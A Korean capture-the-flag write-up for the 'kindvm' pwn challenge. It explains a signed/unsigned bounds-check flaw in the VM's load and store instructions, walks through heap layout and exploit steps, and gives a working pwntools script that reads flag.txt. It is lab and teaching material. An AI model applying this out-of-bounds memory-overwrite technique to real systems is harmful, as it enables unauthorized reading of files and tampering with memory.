문제


kindvm 바이너리의 checksec 결과는 다음과 같다.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

file 명령어 결과는 다음과 같다.

kindvm: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8f9180cac21d47474ed903aea39dd56c7dc9f495, not stripped

바이너리 코드

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ctf_setup();
  kindvm_setup();
  input_insn();             # read(0, insn, 0x400u);
  (*(void (**)(void))(kc + 16))();    # open_read_write(*(char **)(kc + 12));
  while ( !*(_DWORD *)(kc + 4) )
    exec_insn();
  (*(void (**)(void))(kc + 20))(); open_read_write(*(char **)(kc + 12));
  return 0;
}

kindvm_setup()

kindvm_setup() 실행 결과는 다음과 같다.

kc

| ptr_of_heap_sec1 |

heap_sec1 (v0)

| 0x00000000 (program counter 역할) | 0x00000000 | ptr_of_heap_sec2 | ptr_of_banner.txt | ptr_of_func_greeting | ptr_of_func_farewell

v0[1]에 1이 들어가면 while문이 종료됨.

heap_sec2 (dest)

사용자로부터 입력 받은 9바이트 문자열

이외에 메모리와 레지스터, 그리고 명령어 저장 역할을 하는 mem, reg, insn이 할당되고 func_table을 구성한다.

func_table= {insn_nop, insn_load, insn_store, insn_mov, insn_add, insn_sub, insn_halt, insn_in, insn_out, insn_hint}

위 함수 중에서 취약점이 존재하는 함수는 insn_load()insn_store() 이다. (mem에 저장된 값을 reg에 옮기는 함수, reg에 저장된 값을 mem에 쓰는 함수)

insn_load()

int insn_load()
{
...
  v2 = load_insn_uint8_t();
  v3 = load_insn_uint16_t();
  if ( v2 > 7u )
    kindvm_abort();
  if ( v3 > 0x3FC )
    kindvm_abort();
  v0 = (char *)reg + 4 * v2;
  result = load_mem_uint32_t(v3);
  *v0 = result;
  return result;
}

위 코드는 insn에서 각각 1byte와 2byte를 읽어와서 v2, v3에 저장하고 이 값을 각각 0x7, 0x3FC와 비교한다. 비교하는 코드의 어셈블리어는 아래와 같다.

   0x08048ca4 <+7>:	call   0x8048a1d <load_insn_uint8_t>
   0x08048ca9 <+12>:	mov    BYTE PTR [ebp-0xb],al
   0x08048cac <+15>:	call   0x8048a3a <load_insn_uint16_t>
   0x08048cb1 <+20>:	mov    WORD PTR [ebp-0xa],ax
   0x08048cb5 <+24>:	cmp    BYTE PTR [ebp-0xb],0x7
   0x08048cb9 <+28>:	jbe    0x8048cc0 <insn_load+35>
   0x08048cbb <+30>:	call   0x80487d0 <kindvm_abort>
   0x08048cc0 <+35>:	cmp    WORD PTR [ebp-0xa],0x3fc
   0x08048cc6 <+41>:	jle    0x8048ccd <insn_load+48>
   0x08048cc8 <+43>:	call   0x80487d0 <kindvm_abort>

여기서 ja, jb 계열은 unsigned 값에 대해서 비교하고 jg, jl은 signed 값에 대한 비교를 하는 명령어이다. (ida 디컴파일 결과에서 v3가 int16 자료형이고 v2는 unsigned int8 자료형인 것을 통해서도 알 수 있는듯) 따라서 0x08048cc0에서 [ebp-0xa]에 (즉, v3) 음수값이 (0x8000 ~ 0xffff) 저장돼 있으면 if문을 통과할 수 있다. 이를 통해서 heap에서 메모리 보다 앞에 할당된 영역의 값을 읽어오고 그 영역에 원하는 값을 덮어쓸 수 있다. (load_mem_uint32_t와 store_mem_uint32_t에서 v3 값에 대해서 movsx 명령어를 사용함)

힙 할당 순서는 v0 -> dest -> mem -> reg -> insn

따라서 insn_load(), insn_store()를 통해서 v0, dest에 저장된 값을 읽어오고 덮어쓸 수 있다.

exploit 방법

  1. heap_sec2 (dest)에 “flag.txt”를 넣는다.
  2. insn_load()를 이용해서 reg에 dest의 주소 (kc+8에 위치)를 저장한다.
  3. reg에 저장된 값을 insn_store()를 통해서 *(kc+0xc)에 넣는다.
  4. insn_halt()를 호출해서 while문을 빠져나오면 (*(void (**)(void))(kc + 20))()를 통해서 func_farewell()이 실행된다. 이를 통해서 flag.txt에 저장된 값을 얻을 수 있다.

got overwrite로 쉘을 따고 싶었는데 mem에서 got 영역까지의 거리가 너무 멀어서 mem+ffffXXXX로 got 영역까지 갈 수가 없었다. 그래서 쉘 따는 것은 포기했다.

풀이


#!/usr/bin/python

from pwn import *

file_path="/home/sungyun/round2/kindvm/kindvm"

p=process(file_path)

p.recvuntil("name : ")
p.sendline("flag.txt\x00")

p.recvuntil("instruction : ")

pay="\x01"+"\x00"+"\xff\xd8"
pay+="\x02"+"\xff\xdc"+"\x00"
pay+="\x06"

p.send(pay)

p.recvuntil("start!\n"+"\x00")

print p.recv()

알게 된 것


  1. (pwntools의 process를 통해서) 파이썬 코드 내에서 새로운 프로세스를 실행하면 해당 프로세스의 기본 디렉토리는 파이썬 코드가 실행되고 있는 디렉토리이다. (pwntools의 remote를 통해서) 파이썬 코드를 통해서 다른 서버에서 돌아가고 있는 프로세스와 통신하면 해당 프로세스의 기본 디렉토리는 파이썬 코드가 실행되고 있는 디렉토리가 아니라 서버에서 프로세스가 위치하고 있는 디렉토리이다.
  2. kindvm 같은 문제는 아래와 같이 사용되는 함수 (명령어)마다 함수로 선언 해놓고 사용하는 것이 좋다.
    def op_load(reg_dst, mem_src):
     res = ''
     res += chr(1)
     res += chr(reg_dst)
     res += p16(mem_src & 0xffff)
     return res
    
  3. gdb에 프로세스를 attach하거나 gdb에서 프로세스를 실행하면 signal 함수를 무시할 수 있는듯(?)

(ex) signal(14,signal_handler_timeout); return alarm(5u)를 통해 프로세스를 종료하려는 것을 무시할 수 있다.)